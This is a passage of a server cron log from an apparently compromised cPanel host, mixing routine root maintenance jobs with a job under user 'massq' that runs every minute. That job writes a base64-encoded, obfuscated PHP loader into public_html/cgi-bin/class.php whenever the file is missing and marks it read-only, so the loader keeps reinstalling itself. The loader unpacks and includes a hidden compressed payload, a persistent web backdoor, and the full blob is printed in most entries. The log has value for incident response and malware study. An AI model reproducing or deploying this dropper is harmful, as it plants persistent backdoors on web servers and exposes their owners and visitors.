JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:12:01 server CROND[6785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:13:01 server CROND[7192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:13:01 server CROND[7193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:13:01 server CROND[7194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:14:01 server CROND[7575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:14:01 server CROND[7576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:14:01 server CROND[7578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:15:01 server CROND[8003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:15:01 server CROND[8005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:15:01 server CROND[8007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:15:01 server CROND[8021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:15:01 server CROND[8022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:15:01 server CROND[8024]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 14:15:01 server CROND[8025]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:15:01 server CROND[8027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:15:01 server CROND[8023]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 14:16:01 server CROND[8915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:16:01 server CROND[8916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:16:01 server CROND[8917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:17:01 server CROND[9382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:17:01 server CROND[9383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:17:01 server CROND[9384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:18:01 server CROND[9837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:18:01 server CROND[9838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:18:01 server CROND[9839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:19:01 server CROND[10221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:19:01 server CROND[10222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:19:01 server CROND[10223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:20:01 server CROND[10599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:20:01 server CROND[10600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:20:01 server CROND[10604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:20:01 server CROND[10618]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 14:20:01 server CROND[10622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:20:01 server CROND[10621]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:20:01 server CROND[10623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:20:01 server CROND[10619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:20:01 server CROND[10620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:21:01 server CROND[11503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:21:01 server CROND[11505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:21:01 server CROND[11504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:22:01 server CROND[11892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:22:01 server CROND[11893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:22:01 server CROND[11895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:23:01 server CROND[12349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:23:01 server CROND[12352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:23:01 server CROND[12353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:24:01 server CROND[12741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:24:01 server CROND[12743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:24:01 server CROND[12742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:25:01 server CROND[13118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
